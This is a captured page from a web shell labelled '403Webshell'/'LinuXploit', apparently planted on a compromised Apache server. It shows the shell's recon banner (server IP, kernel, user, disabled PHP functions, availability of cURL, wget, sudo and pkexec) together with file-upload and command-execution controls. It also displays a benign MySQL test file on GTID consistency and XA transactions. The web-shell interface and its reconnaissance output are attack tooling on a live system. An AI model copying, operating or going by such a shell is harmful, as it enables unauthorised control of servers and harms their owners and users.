403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.92.243
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/binlog/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/binlog/t/binlog_gtid_reset_consistency_violation_on_fail.test
# ==== Purpose ====
#
# The purpose of this test is to ensure that the server properly restores a
# previous state or preserves a new state, for GTID consistency violation,
# whenever a statement execution succeeds or fails.
#
# ==== Requirements ====
#
# R1. If a statement fails to execute successfully, the overall state observed
#     prior to the statement execution must be kept after the failure.
# R2. If a statement executes successfully, the overall state observed after the
#     statement execution must be kept.
#
# ==== Implementation ====
#
# -- TEST CASES --
#
# TC1. Test if GTID consistency state is rolled back after failure
# ----------------------------------------------------------------
# 1) Place an XA transaction in the prepare state.
# 2) Try to create a temporary table.
# 3) Test if the execution state prior to the failure is restored, using
#    DEBUG_SYNC.
# 4) Commit the transaction.
#
# TC2. Test if GTID consistency state is persisted after success
# --------------------------------------------------------------
# 1) Try to create a temporary table.
# 2) Test if the execution state after the successful execution is persisted,
#    using DEBUG_SYNC.
#
# ==== References ====
#
# BUG#27903831 [MYSQL 8.0 GA DEBUG BUILD] ASSERTION
# `!THD->HAS_GTID_CONSISTENCY_VIOLATION


--source include/have_debug.inc
--source include/have_debug_sync.inc
--source include/not_gtid_enabled.inc    
--source include/have_binlog_format_statement.inc

--echo # TC1. Test if GTID consistency state is rolled back after failure
--echo # ----------------------------------------------------------------
# 1) Place an XA transaction in the prepare state.
XA START 'xa1';
XA END 'xa1';
XA PREPARE 'xa1';
#SET DEBUG_SYNC='restore_previous_state_after_statement_failed SIGNAL failure';
# 2) Try to create a temporary table.
--error ER_XAER_RMFAIL
CREATE TEMPORARY TABLE t1 (c INT) ENGINE=InnoDB;
# 3) Test if the `Rpl_state_guard` instance restored the execution state prior
#    to the failure, using DEBUG_SYNC.
#SET DEBUG_SYNC='now WAIT_FOR failure';
# 4) Commit the transaction.
SET @@SESSION.GTID_NEXT='ANONYMOUS';
XA COMMIT 'xa1';

--echo # TC2. Test if GTID consistency state is persisted after success
--echo # --------------------------------------------------------------
#SET DEBUG_SYNC='persist_new_state_after_statement_succeeded SIGNAL success';
# 1) Try to create a temporary table.
CREATE TEMPORARY TABLE t1 (c INT) ENGINE=InnoDB;
# 2) Test if the `Rpl_state_guard` instance persisted the execution state after
#    the successful execution, using DEBUG_SYNC.
#SET DEBUG_SYNC='now WAIT_FOR success';
#

DROP TABLE t1;
#SET DEBUG_SYNC='RESET';

Youez - 2016 - github.com/yon3zu
LinuXploit